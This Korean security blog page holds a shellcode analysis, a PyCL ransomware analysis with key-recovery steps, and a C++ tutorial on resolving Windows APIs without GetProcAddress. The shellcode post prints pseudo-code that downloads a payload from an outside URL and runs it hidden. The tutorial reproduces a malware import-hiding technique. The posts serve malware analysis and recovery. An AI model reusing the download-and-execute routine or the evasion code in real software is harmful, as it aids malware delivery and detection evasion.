블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

악성 쉘코드(Shellcode) 분석



 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 들어 분석을 진행해봤습니다.



[그림 1. ODA에서 디스어셈블한 쉘코드 전체, 클릭하면 커집니다]


 쉘코드 전체는 위와 같습니다. 이 쉘코드는 크게 함수를 찾아 실행시키는 함수와 연쇄적으로 함수를 호출하는 두 부분으로 나뉩니다. 함수를 찾아 실행시키는 이 함수가 가장 중요하므로 메인 함수라고 부르겠습니다. 맨 밑에는 URL String이라고 주석으로 단 것과 같이 URL 문자열이 들어 있습니다.




[그림 2. 쉘코드 시작 직후 바로 Call 하는 루틴]


 우선 함수를 호출하는 부분부터 살펴보면, 쉘코드가 시작하자마자 쉘코드 내의 특정 함수를 Call하는 것을 볼 수 있습니다. Call 명령어의 특징은 JMP 명령과는 달리 실행되면서 자동으로 스택에 다음 명령어의 주소(여기서는 0x30006), 즉 리턴 어드레스를 스택에 Push한다는 점인데, Call된 함수 내부에서는 바로 Pop 명령으로 EBP에 그 값을 저장합니다. 그리고 스택에 몇 가지 인자를 넣고 EBP를 그대로 호출합니다. 첫 번째 인자는 지금은 무엇인지 알 수 없는 4바이트 값이며, 두 번째 인자는 Push ESP를 통해 들어간 문자열 값으로 "urlmon"이라는 값입니다. 이를 알 수 있는 이유는 Push ESP 이전에 두 번의 Push를 통해 스택에 문자열로 "urlmon"을 저장하는 것이 보이기 때문입니다. 이제 EBP에 지정된 함수(0x30006)에 대해 분석해보겠습니다.




[그림 3. 함수를 찾아 실행시키는 메인 함수]


 쉘코드 전체에서 위의 빨간 점선 부분이 Call EBP를 통해 호출되는 부분입니다. 바로 이 함수가 위에서 언급한 메인 함수입니다. 분석을 마치고 내린 결론은 이 함수는 인자로 특정 함수명의 해시를 전달받아 이를 찾아 실행시키는 함수라는 점입니다. 차근차근 위에서부터 분석해보겠습니다.




[그림 4. 로드된 모듈과 그 안의 함수 정보를 가져오는 부분]


 fs:[0x30]으로 PEB를 가져오고, 거기서 또 0xC만큼의 Offset에 있는 Ldr을 가져옵니다. 여기까지만 봐도 벌써 익숙한 코드여서 그 다음은 분석하기 무척 쉬웠습니다. 메모리에 로드된 DLL 정보가 이중 연결 리스트 형태로 저장되어있는 Ldr 구조체를 참조하여 로드된 DLL 정보와 Base Address를 가져오고, 이를 파싱하여 Export Table을 확인합니다. 만약 Export된 함수가 없을 경우에는 밑으로 점프하는데 밑에서는 참조할 DLL을 다음 것으로 로드한 뒤 다시 위로 돌아옵니다. 위 루틴이 끝난 후에는 ESI에 함수 이름이 저장됩니다. 자세한 내용은 전에 공부하며 정리한 적이 있으므로 아래 링크 두 개를 참조하면 되겠습니다.



TIB, PEB를 이용해 로드된 DLL 정보 가져오기 : https://5kyc1ad.tistory.com/328

GetProcAddress 없이 API 주소 가져오기 : https://5kyc1ad.tistory.com/329




[그림 5. 찾은 함수명 해싱]


 그렇게 찾아온 함수를 직접 만든 듯한 루틴에 넣고 돌려 4바이트짜리 해시를 뽑습니다. lodsb 명령의 경우 ESI가 가리키는 값 한 바이트를 al에 복사하고 ESI 값을 1바이트 증가시키는 역할을 합니다. (참고 : https://blog.naver.com/krquddnr37/20193085864) 해싱 함수의 경우 무척 간단해서 파이썬으로 루틴을 작성해봤습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# ROL & ROR Function : https://bbolmin.tistory.com/133
def ROL(data, shift, size=32):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
 
def ROR(data, shift, size=32):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)
 
def HashROR(target):
    ret = 0
    for c in target:
        ret = ROR(ret, 0xD)
        ret += ord(c)
    return ret
cs


 그리고 나온 해시를 [EBP+24]와 비교하는데, 이는 위에서 Call EBP를 통해 이 함수를 호출하기 전에 첫 번째 인자로 넣었던 값입니다. 즉, 메인 함수의 첫 번째 인자는 찾고자 하는 함수명의 해시임을 알 수 있습니다.




[그림 6. 찾은 함수 호출 루틴]


 그렇게 찾아낸 함수는 위 루틴을 거쳐 실행시킵니다. 함수로 Jmp하기 전에 PopadPop이 두 번 있는 것을 볼 수 있는데, 그림 3에서 확인할 수 있듯이 메인 함수가 실행된 후 Pushad를 호출했었습니다. Popad로 스택에서 그 부분을 다시 가져오고, pop을 두 번 진행하여 스택에 쌓여 있던 리턴 어드레스와 첫 번째 인자(해싱된 함수명)를 제거합니다. SFP(Saved Frame Pointer)의 경우에는 함수에서 호출되자마자 Push EBP를 통해 스택에 쌓는게 일반적이지만 여기에서는 그런 명령어는 없었으니 논외입니다. 이후 첫 번째로 Pop했던 리턴 어드레스를 다시 Push하고 Call이 아니라 JMP 명령어로 찾아낸 함수를 호출하는데, 이럴 경우 방금 Push한 메인 함수의 리턴 어드레스가 JMP 명령으로 이동할 함수에서 사용할 리턴 어드레스가 되므로 찾아낸 함수가 종료되는 순간 메인 함수를 호출한 다음 명령어로 돌아가게 될 것입니다. (그림 2의 0x300C7) 이렇게 하면 자연스럽게 메인 함수에 넘긴 두 번째 인자부터는 메인 함수 내에서 찾아 호출한 함수의 인자로 들어가게 됩니다.




[그림 7. 메인 함수 호출]


 이 쉘코드는 이런식으로 Call EBP를 연쇄적으로 호출하는데, 지금까지의 과정으로 메인 함수의 첫 번째 인자는 호출할 함수명의 해시이며 두 번째부터는 찾아서 호출될 함수에 들어갈 인자들이라는 것을 알 수 있었습니다. 




[그림 8. 함수명과 그 해시]


 이를 통해 찾아낸 각 해시에 대응하는 함수명들은 위와 같습니다. 이는 위에 파이썬으로 작성해 둔 HashROR 함수로 얻어낸 값입니다. 그림 7에 빨간 점선으로 표시된 값과 일치하는 것을 확인할 수 있습니다. 그림 7에도 주석으로 달려 있지만 이 쉘코드에서 호출할 것이라 예상되는 함수와 그 순서는 다음과 같습니다. (이해를 돕기 위해 중간에 Pseudo-Code도 포함되어있습니다)


1
2
3
4
5
6
7
LoadLibrary("urlmon");
LPVOID p = VirtualAlloc(NULL0x400, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
GetTempPathA(0x104, p);
+= "tasc.exe";
URLDownloadToFileA(NULL"http://hrkumdo.org/xe/files/capsule.jpg", p, NULLNULL);
WinExec(p, SW_HIDE);
TerminateProcess(INVALID_HANDLE_VALUE, 0);
cs



 결론을 내리면 이 쉘코드는 특정 URL에서 PE 파일을 다운로드 받아와서 임시 폴더에 저장하고, 콘솔 없이 백그라운드로 실행시키는 동작을 합니다. 난독화나 암호화가 된 것도 아니라서 분석하기는 무척 쉬웠던 것 같습니다.







블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

기사 : https://www.dailysecu.com/?mod=news&act=articleView&idxno=44554


 적당히 골라서 분석해 본 샘플이었는데 몇달 전에 발생한 북한 공격으로 추정되는 APT 캠페인의 바이너리였습니다.




블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요


 해당 프로그램은 악성코드 분석 연구 도중 흥미 위주로 만들어본 프로그램이며, 꼭 사용 전 파일을 백업해주세요. 필자는 이 프로그램을 사용함에 있어 생긴 피해에 대해 어떠한 책임도 지지 않습니다.


PyCLDecryptor.exe


 


 테스트를 위해 실제로 가상머신 내에서 PyCL 랜섬웨어를 돌려 일부러 감염시킨 테스트 파일들입니다.


 

 프로그램 실행 후 복호화 할 파일/폴더의 경로와 키 값을 입력하면 자동으로 해당 경로 하위를 전부 돌면서 감염된 확장자를 확인하고 입력받은 키로 복호화를 시도합니다. 복호화에 실패하더라도 원본 파일을 수정하거나 지우지는 않지만 혹시 모르니 항상 백업은 하고 사용해주시기 바랍니다. 랜섬웨어의 키를 찾는 방법은 이전 포스트의 마지막에 작성해두었습니다.


 소스코드는 gist로 첨부하겠습니다.

PyCLDecryptor.cpp 

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

 



 

1. 개요

[그림 1. 분석 대상 샘플]

 PyCL이라는 특이한 이름의 랜섬웨어가 등장했길래 재밌어보여서 분석해봤습니다.

 

 

[그림 2. 흐름도]

 

 

2. 샘플 정보

파일명

sample1

파일 크기

10,192,467 Bytes (9.71MB)

파일 타입

PE32+ executable for MS Windows (GUI) Mono/.Net assembly

MD5

0d9e127186433171791aaf2820be9575

SHA1

cb1f60268ff2146f3970d2afa40f8f07e5481e81

SHA256

115c02efdacb18478be9a92b81f2d9eba622189aa9f60ecdbde522c4d3111d38

SSDeep

196608:KJMSrtRIcI2tVHhEVSL2v8hp1yjAOHR3f1gu8N150IrE7N3sO5JvVWsj4Pz:rj27aVSLo8p323f4750jIsU

 

파일명

sample2

파일 크기

10,192,572 Bytes (9.71MB)

파일 타입

PE32+ executable for MS Windows (GUI) Mono/.Net assembly

MD5

eab2c08156d5372c34f02b486d70c2f6

SHA1

69a1da7bea8c49fb10e15f57e76dffdce7a7b801

SHA256

5b9cd4e6fd0d309a8a7c6fa9181b372d1ce85532f4c5181ba1bb9e38495f2c5e

SSDeep

196608:KJMSrtR8cI2tVHhEVSL2v8hp1yjAOHR3f1gu8N150IrE7N3sO5JvVWsj4Pz:pj27aVSLo8p323f4750jIsU

 

 그림 1의 아이콘과 위의 메타데이터들을 보면 알 수 있듯, 파일 크기가 클 뿐만 아니라 두 샘플 모두 비슷한 크기의 같은 타입, 거의 동일한 SSDeep 해쉬값을 갖고 있습니다. 패커 혹은 래퍼로 감싸져서 그런 것이라고 의심이 가능합니다.


 

3. 분석

[그림 3. Tkinter 아이콘 확인]

 랜섬웨어가 실행되고 나면 위와 같은 창과 메시지박스가 등장하는데, 메시지박스의 아이콘은 파이썬 내장 GUI 라이브러리인 Tkinter의 기본 아이콘입니다. 이름에서 이미 예상했지만 파이썬으로 작성된 프로그램이라는 것을 알게 되었고, PE 파일로 래핑되어 있으므로 이를 해제하기 위해 무슨 툴을 사용했는지를 알 필요가 있었습니다.

 

[그림 4. PyInstaller 문자열 확인]

 파이썬을 EXE로 래핑하기 위해 가장 많이 사용하는 툴인 PyInstallerPy2Exe를 체크해볼 생각이었는데 찾아보니 바로 PyInstaller로 확인되었습니다.

 

[그림 5. pyinstxtractor]

 PyInstaller로 래핑된 파일을 래핑 해제하기 위해 pyintxtractor라고 하는 오픈소스 라이브러리(https://sourceforge.net/p/pyinstallerextractor/tickets/5/attachment/pyinstxtractor.py)를 사용하였습니다.

 

[그림 6. scriptedhind 파일]

 래핑 해제된 파일을 아무리 찾아도 메인 소스코드로 보이는 파일이 보이지 않아서 찾아보다 보니 scriptedhind라는 파일 내부에 랜섬웨어의 소스코드로 보이는 내용이 작성되어 있는 것을 볼 수 있었습니다. 파이썬 소스코드가 원형을 유지하고 있지는 않았지만 하드코딩된 문자열 등은 그대로 나타나 있었기 때문에 대충 어떤 랜섬웨어인지는 파악이 가능했고, 이것만으로는 정보가 불충분하다고 느껴서 파일명인 scriptedhind로 검색을 해봤습니다.

 

[그림 7. Ransomware Builder Github]

 검색 결과 scriptedhind라는 문자열을 포함하는 Github 주소가 등장했고, 접속해보니 자동으로 랜섬웨어를 만들어 주는 툴을 배포하고 있었습니다.

 

[그림 8. 책임 회피용 문구]

 작성자는 Github에 교육적인 목적으로만 제작된 것으로, 프로그램의 사용에 의한 책임을 지지 않겠다고 작성해놓았습니다. 하지만 이전에 오픈소스 원격관리도구라며 .Net기반 RATNanocore를 개발한 개발자가 유죄를 선고받은 사례도 있으므로 이게 합법이라고 판단하긴 힘들어 보입니다.



[그림 9. 해당 Github 유저]

 ScRipt1337이라는 닉네임을 사용하는 유저는 이외에도 직접 제작한 것처럼 보이는 여러 악성 프로그램을 교육적인 목적이라는 명목으로 공개해놓고 있습니다.

 


[그림 10. Ransomware Builder]

 아까 발견한 Ransomware Builder에 존재하는 두 개의 exe 파일은 둘 모두 랜섬웨어와 같이 PyInstaller로 래핑된 파이썬 기반 프로그램이었습니다. Builder.exe 파일을 실행하고 Github에 작성되어 있는 패스워드를 입력하면 위와 같은 창이 등장하고, 원하는 내용을 채워넣으면 이대로 랜섬웨어가 작성됩니다. 결과물은 Python 스크립트로, 단순히 위 항목들을 포맷팅하여 넣은 것에 지나지 않습니다. 드랍된 스크립트를 분석해보겠습니다.

 


[그림 11. 권한 체크]

 생성된 파이썬 파일은 실행된 직후 Admin 권한을 가졌는지 체크하고, 아니라면 UAC 컨트롤로 관리자 권한 획득을 시도합니다.

 

[그림 12. AntiVM?]

 이후 “WMIC BIOS GET SERIALNUMBER” 명령을 이용해 하드웨어 정보를 가져옵니다. VMware 에서 생성한 VM 내부에서 사용할 경우 stdout으로 “VMware-56 4d 05 69 52 1c d8 fa-86 9e 1c 72 28 bd f5 46”라는 값이 출력되었는데, 저기에서 받는 result stdout을 받는 것이 아니라 프로그램의 종료 시 리턴 값을 받는 것이기 때문에 VM 여부에 관계없이 명령어가 성공한 이상 무조건 0이 반환되었습니다.

 

[그림 13. 작업 관리자 차단]

 그림 12 disabletask 함수 내부에서는 특정 레지스트리 값을 추가하는 것으로 작업 관리자의 사용을 차단합니다.

 

[그림 14. 실수?]

 실수인지 고의인지는 모르겠지만, 이렇게 반환된 0 int로 형변환한 후 문자열 “0”과 비교하는 어이없는 일을 수행합니다. 이미 타입 자체가 다르기 때문에 무조건 False가 될 수밖에 없고, main이 실행됩니다. 여기서 strongKey는 위의 Builder.exe에서 입력한 암호화 키 값입니다.

 

[그림 15. main]

 main 함수 내에서는 “C:\” 하위의 파일들을 대상으로 총 145개의 확장자를 검색하여 일치하는 파일에 대해 암호화를 수행합니다. 여기서 문제는 파일이 존재할 때마다 바탕화면에 랜섬노트로 추정되는 파일을 계속해서 덮어쓴다는 것입니다. 이 랜섬웨어는 작동하는 속도가 비정상적으로 느려 전부 암호화가 될 때까지 10분 이상이 소요되는데, 이 작업이 거기에 한몫 하는 것으로 보입니다. (그러면서 자기가 작성한 랜섬노트마저 확장자가 .txt라는 이유로 암호화해버립니다;)

 

[그림 16. 암호화 루틴]

 암호화에는 AES CBC를 사용하며, Initialization Vector는 그때그때 랜덤한 값을 뽑아서 사용합니다. 파일의 암호화 전에 파일의 크기와 IV를 총 32바이트 버퍼에 담아서 파일 앞부분에 저장하고, 이후 특정 크기씩 읽어와 블록 암호화를 진행합니다. 입력한 key는 키 그대로가 아니라 sha256으로 한번 해싱하여 AES의 키로 사용합니다. 암호화된 파일의 확장자는 .impect가 추가로 붙습니다.

 

[그림 17. 복호화 루틴]

 바로 밑에 복호화 루틴도 있었는데, 복호화 완료된 파일명을 제대로 복원시켜주는게 아니고 뒤에서 offset -3까지만 가져오기 때문에 [원본파일명].imp 로 변환될 것으로 예상이 가능합니다.

 

[그림 18. 실수 2?]

 이렇게 암호화가 전부 완료되고 나면 try~except 문으로 진입하는데, try문 내에서 특정 파일을 읽어와서 str형태로 변환한 다음 6을 더하는 행위를 하고 있습니다. Javascript도 아니고 str 타입 변수에 int형 상수를 더하는 것이 허용될 리 없으므로 무조건 except로 빠지게 되고, 결국 현재 시간을 작성하는 용도로밖에 쓰이지 않습니다. except에서 현재 시간을 포맷팅한 후 offset -6까지를 저장하는 것으로 보아 현재의 시간을 작성하는 것이고, 가져온 시간에 6을 더해서 일치할 경우(있을 수가 없는 일이지만) “C:\Users\유저네임이하의 모든 파일을 삭제합니다. 결코 발생할 수 없는 루틴이지만 일정 시간 내에 금전을 지불하지 않을 경우 해당 파일들을 전부 삭제하겠다는 류의 협박성 루틴인 것 같습니다.

 

 

[그림 19. 작업 표시줄 숨기기]

 위 작업이 끝나고 나면 이유는 모르지만 작업 표시줄을 먼저 숨깁니다. 작업 표시줄과 함께 시작 버튼도 같이 숨기려고 하는 것 같은데, Windows 7에서 테스트 해본 결과 제대로 숨겨지지 않았습니다.

 


[그림 20. 바탕화면 변경 시도]

 Builder.exe에서 입력했던 url을 이용하여 이미지 파일을 다운로드 받고, 그것을 이용하여 바탕화면을 변경하려고 시도합니다. 여기서는 64비트인지 체크하여 맞을 경우 SystemParametersInfoW를 사용하고 아닐 경우 SystemParametersInfoA를 사용하는데, 왜 굳이 저렇게 하는지는 잘 모르겠습니다. 윈도우 API에 익숙하지 않은 제작자라는 생각이 듭니다.

 

 

[그림 21. GUI 루틴]

 위 작업까지 끝나고 나면 그림 3에서 볼 수 있듯이 Tkinter를 이용하여 GUI로 윈도우 하나를 띄우고, 랜섬웨어 감염 사실을 (욕설과 함께)알리고 키를 입력할 수 있는 Entry 칸을 하나 만들어둡니다. Decrypt 버튼을 누르면 runthefuckup 함수가 실행됩니다. 교육적인 목적으로 공개했다고 했는데 전혀 교육적이지 않아 보입니다.

 


[그림 22. runthefuckup 함수]

 입력받은 키 값이 저장된 키 값과 일치할 경우 C:\ 하위를 돌면서 암호화된 파일에 대해 복호화를 수행하고, 다를 경우 욕설이 씌여 있는 메시지 박스를 띄웁니다.


4. 복호화 방법

 pyinstxtractor를 이용하여 PyInstaller를 래핑 해제했을 때 메인 소스코드가 정상적으로 나오면 좋은데, 어째선지 제대로 메인 소스코드가 등장하지 않아서 키를 어떻게 찾아야 하는지 고민했었습니다. 단서는 랜섬웨어의 메인으로 보이는 scriptedhind 파일이었는데, pyc 디컴파일러를 돌려봐도 제대로 디컴파일이 되지 않았습니다. 하지만 알고 보니 pyc파일은 맞는데 시그니쳐 부분만 날아갔던 것이었고, 그래서 시그니쳐를 복원하고 디컴파일을 돌려봤더니 정상적으로 디컴파일이 되었습니다.

 

[그림 23. 누락되었던 시그니쳐]

 

 이렇게 누락됐던 시그니쳐를 추가한 후 Easy Python Decompiler를 이용하여 pyc파일을 디컴파일했습니다.

 

[그림 24. 디컴파일된 소스코드]

 디컴파일로 추출한 소스코드 내에서 암호화 키를 확인 가능하고, 랜섬웨어가 띄운 창에 입력하면 정상적으로 복호화가 되지만 프로그램 자체가 무척 불안정해서 응답을 하지 않거나 복호화 하는 데에 시간이 상당히 소요됩니다. 복호화를 해주는 툴은 C++로 직접 짜볼 생각이며, 추후 포스팅하여 링크하겠습니다.


 복호화 키 얻는 방법 요약

1. python.org 에서 파이썬 설치. 2, 3 버전 관계 없음.

2. 랜섬웨어 파일을 pyinstxtractor를 이용하여 디컴파일하여 패킹된 파일들을 추출.

3. 내부에 scriptedhind 파일을 hxd등을 이용하여 맨 앞에 Hex값으로 '03 F3 0D 0A 00 00 00 00'을 추가 후 scriptedhind.pyc로 확장자 변경

4. Easy Python Decompiler를 이용하여 방금 만든 scriptedhind.pyc 파일을 디컴파일

5. 디컴파일되어 떨어진 scriptedhind.pyc_dis 파일을 열어서 strongkey 값 확인


 현재 가진 샘플 두 종류의 MD5 Hash와 키 값은 다음과 같습니다.

0d9e127186433171791aaf2820be9575 : !0oPQrSuUaOwc7upKgesZqrUOrwP7XCugYX3xHUKjZrc321308

eab2c08156d5372c34f02b486d70c2f6 : 1qazxsw21@@@

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

  • Whiteknight 2020.04.11 21:15 신고  댓글주소  수정/삭제  댓글쓰기

    파이썬 배경화면 설정법 검색하다 들어왔습니다. 파이썬같이 쉬운 도구가 없었다면 저 친구는 랜섬웨어 만들기 어렵지 않았을까 하면서도 파이썬의 능력에 또 한 번 감탄하게 됩니다. 글 잘 읽었습니다. 좋은 하루 보내세요!

[그림 1. 실제 악성코드에서 사용한 GetProcAddress]

 보통 WinAPI를 사용하면 IAT에 사용하는 함수가 무엇인지 그대로 박혀있거나, 최소한 GetProcAddress 등 함수를 이용해 동적으로 API를 로드해서 사용하기 때문에 IAT에 GetModuleHandle이나 GetProcAddress 등이 나와 어디에서 어떤 함수를 로드하는지, 결국 어떤 함수를 사용해서 대강 무슨 행위를 하는지 노출됩니다. 그런데 최근 분석해봤던 악성코드는 이를 회피하여 GetModuleHandle이나 GetProcAddress 함수조차도 IAT에 없는데도 자유자재로 API를 가져다 사용했습니다. 이를 직접 구현해보기 위해 이전에 작성했던 글에서 API 없이 현재 로드된 모듈의 정보를 알아내는 방법에 대해 알아봤습니다. 이번엔 이렇게 가져온 모듈에서 API 주소를 가져와 사용하는 방법에 대해 알아보겠습니다. 그렇게 복잡하고 어려운 내용은 아니므로 먼저 소스코드를 놓고, 하나하나 짚어가도록 하겠습니다.


main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include <wchar.h>
 
PIMAGE_DOS_HEADER GetBaseAddress(const wchar_t *moduleName)
{
    
    PLDR_DATA_TABLE_ENTRY orgPtr = nullptr;
    PLDR_DATA_TABLE_ENTRY curPtr = nullptr;
    wchar_t *foundDllName = nullptr;
    __asm
    {
        mov eax, fs:[0x18]        // TIB
        mov eax, [eax + 0x30]    // TIB->PEB
        mov eax, [eax + 0x0C]     // PEB->Ldr
        lea ebx, [eax + 0x1C]    // Ldr->InInitializationOrderLinks
        mov orgPtr, ebx
    loadOrderLoop :
        mov edx, [ebx]            // InInitializationOrderLinks->Flink
        mov curPtr, edx
        mov edx, [edx + 0x20]   // LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
        test edx, edx
        je loadOrderFailed
        mov foundDllName, edx
    }
    if(!_wcsicmp(foundDllName, moduleName))
        return (PIMAGE_DOS_HEADER)curPtr->InMemoryOrderLinks.Flink; // -0x10, as used InInitializationOrderLinks
    __asm{
    loadOrderFailed :
        mov ebx, curPtr
        mov ebx, [ebx]
        mov edx, orgPtr
        cmp ebx, edx
        jne loadOrderLoop
    }
    return nullptr;
}
 
int main()
{
 
    // 1. Get Base Address of ntdll.dll
    PIMAGE_DOS_HEADER ntdllBase = GetBaseAddress(L"ntdll.dll");
    if (ntdllBase == nullptr) {
        printf("[-] Failed to get ntdll.dll base address\n");
        return -1;
    }
    printf("[+] ntdll.dll : 0x%08x\n", (DWORD)ntdllBase);
    
    // 2. Parse Module - IMAGE_NT_HEADERS
    PIMAGE_NT_HEADERS peSignature = (PIMAGE_NT_HEADERS)((PBYTE)ntdllBase + ntdllBase->e_lfanew);
    if (peSignature->Signature != 'EP') {
        printf("[-] Failed to find PE Signature\n");
        return -1;
    }
    printf("[+] PE Signature : 0x%08x\n", (DWORD)peSignature);
 
    // 3. Parse Module - Export Table
    PIMAGE_EXPORT_DIRECTORY pIED = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)ntdllBase + peSignature->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    DWORD sizeofIED = peSignature->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    printf("[+] Export Table : 0x%08x, Size : 0x%08x\n", (DWORD)pIED, sizeofIED);
    
    // 4. Find LdrGetProcedureAddress Function
    PDWORD funcAddresses      = (PDWORD)((PBYTE)ntdllBase + pIED->AddressOfFunctions);
    PDWORD funcNames          = (PDWORD)((PBYTE)ntdllBase + pIED->AddressOfNames);
    PWORD  funcOrdinals       = (PWORD)((PBYTE)ntdllBase + pIED->AddressOfNameOrdinals);
    void(__stdcall *pLdrGetProcedureAddress)(HMODULE, PANSI_STRING, DWORD, PVOID) = nullptr;
    for (unsigned int i = 0; i < pIED->NumberOfFunctions; i++)
    {
        if (!strcmp("LdrGetProcedureAddress", (char *)((PBYTE)ntdllBase + funcNames[i]))) 
        {
            pLdrGetProcedureAddress = (void(__stdcall *)(HMODULE, PANSI_STRING, DWORD, PVOID))((PBYTE)ntdllBase + funcAddresses[funcOrdinals[i]]);
            break;
        }
    }
    if (pLdrGetProcedureAddress == nullptr)
    {
        printf("[-] Failed to find LdrGetProcedureAddress\n");
        return -1;
    }
    printf("[+] LdrGetProcedureAddress : 0x%08x\n", (DWORD)pLdrGetProcedureAddress);
    
    // 5. Find Functions With LdrGetProcedureAddress
    HMODULE hKernel32 = (HMODULE)GetBaseAddress(L"kernel32.dll");
    if (hKernel32 == nullptr)
    {
        printf("[-] Can't find kernel32.dll\n");
        return -1;
    }
    printf("[+] kernel32.dll : 0x%08x\n", (DWORD)hKernel32);
 
    ANSI_STRING targetFunction;
    RtlInitAnsiString(&targetFunction, "CreateFileA");
    HANDLE(__stdcall *pCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE) = nullptr;
    pLdrGetProcedureAddress(hKernel32, &targetFunction, 0&pCreateFileA);
    printf("[+] CreateFileA : 0x%p\n", pCreateFileA);
 
    RtlInitAnsiString(&targetFunction, "WriteFile");
    BOOL(__stdcall *pWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED) = nullptr;
    pLdrGetProcedureAddress(hKernel32, &targetFunction, 0&pWriteFile);
    printf("[+] WriteFile : 0x%p\n", pWriteFile);
 
    RtlInitAnsiString(&targetFunction, "CloseHandle");
    BOOL(__stdcall *pCloseHandle)(HANDLE) = nullptr;
    pLdrGetProcedureAddress(hKernel32, &targetFunction, 0&pCloseHandle);
    printf("[+] CloseHandle : 0x%p\n", pCloseHandle);
 
    // 6. Use Functions
    DWORD Length = 0;
    HANDLE hFile = pCreateFileA("Test.txt", GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    pWriteFile(hFile, "PEB Test String"15&Length, NULL);
    pCloseHandle(hFile);
    return 0;
}


 전체적인 소스코드는 위와 같습니다. 내용을 요약하면 ntdll.dll 모듈의 BaseAddress를 이용하여 PE 헤더를 파싱하고, Export Table을 찾아서 여기서 LdrGetProcedureAddress 함수의 주소를 얻어온 다음 이 API를 이용하여 원하는 함수 주소를 가져와 사용하는 것입니다. 

빌드를 위해서는 소스코드 내에서 RtlInitAnsiString을 사용하기 때문에 [Visual Studio 프로젝트 속성->링커->입력->추가 종속성]에 'ntdll.lib'을 넣어줘야 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PIMAGE_DOS_HEADER GetBaseAddress(const wchar_t *moduleName)
{
    
    PLDR_DATA_TABLE_ENTRY orgPtr = nullptr;
    PLDR_DATA_TABLE_ENTRY curPtr = nullptr;
    wchar_t *foundDllName = nullptr;
    __asm
    {
        mov eax, fs:[0x18]        // TIB
        mov eax, [eax + 0x30]    // TIB->PEB
        mov eax, [eax + 0x0C]     // PEB->Ldr
        lea ebx, [eax + 0x1C]    // Ldr->InInitializationOrderLinks
        mov orgPtr, ebx
    loadOrderLoop :
        mov edx, [ebx]            // InInitializationOrderLinks->Flink
        mov curPtr, edx
        mov edx, [edx + 0x20]   // LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
        test edx, edx
        je loadOrderFailed
        mov foundDllName, edx
    }
    if(!_wcsicmp(foundDllName, moduleName))
        return (PIMAGE_DOS_HEADER)curPtr->InMemoryOrderLinks.Flink; // -0x10, as used InInitializationOrderLinks
    __asm{
    loadOrderFailed :
        mov ebx, curPtr
        mov ebx, [ebx]
        mov edx, orgPtr
        cmp ebx, edx
        jne loadOrderLoop
    }
    return nullptr;
}


 가장 먼저 볼 부분은 GetBaseAddress라고 이름붙인 이 함수입니다. 이전 글에서 사용한 방식과 완전히 동일한 방법을 사용하여 원하는 모듈의 LDR_DATA_TABLE_ENTRY를 찾은 후 BaseAddress를 가져오는 함수입니다. InLoadOrderLinks나 InMemoryOrderLinks가 아닌 InInitializationOrderLinks를 사용한 이유는 Windows 7 환경에서 실행시켰을 때, InLoadOrderLinks나 InMemoryOrderLinks에서는 ntdll.dll이 순환 연결 리스트 내부에 존재하지 않았기 때문입니다. 여기에서의 내용이 관련이 있을지도 모르겠습니다. 그래서인지 실제 악성코드에서도 InInitializationOrderLinks를 사용했었습니다.


1
2
3
4
5
6
7
    // 1. Get Base Address of ntdll.dll
    PIMAGE_DOS_HEADER ntdllBase = GetBaseAddress(L"ntdll.dll");
    if (ntdllBase == nullptr) {
        printf("[-] Failed to get ntdll.dll base address\n");
        return -1;
    }
    printf("[+] ntdll.dll : 0x%08x\n", (DWORD)ntdllBase);


 위에서 설명한 GetBaseAddress 함수에 L"ntdll.dll"을 인자로 넘겨 ntdll.dll의 BaseAddress를 가져옵니다. BaseAddress는 모듈이 메모리에 매핑된 기준점이 되는 주소이기 때문에 해당 메모리 주소에 접근하면 모듈 바이너리를 통째로 보는것과 다름없습니다. PE 헤더 파싱을 위해 PIMAGE_DOS_HEADER형으로 받아줍니다.


1
2
3
4
5
6
7
    // 2. Parse Module - IMAGE_NT_HEADERS
    PIMAGE_NT_HEADERS peSignature = (PIMAGE_NT_HEADERS)((PBYTE)ntdllBase + ntdllBase->e_lfanew);
    if (peSignature->Signature != 'EP') {
        printf("[-] Failed to find PE Signature\n");
        return -1;
    }
    printf("[+] PE Signature : 0x%08x\n", (DWORD)peSignature);


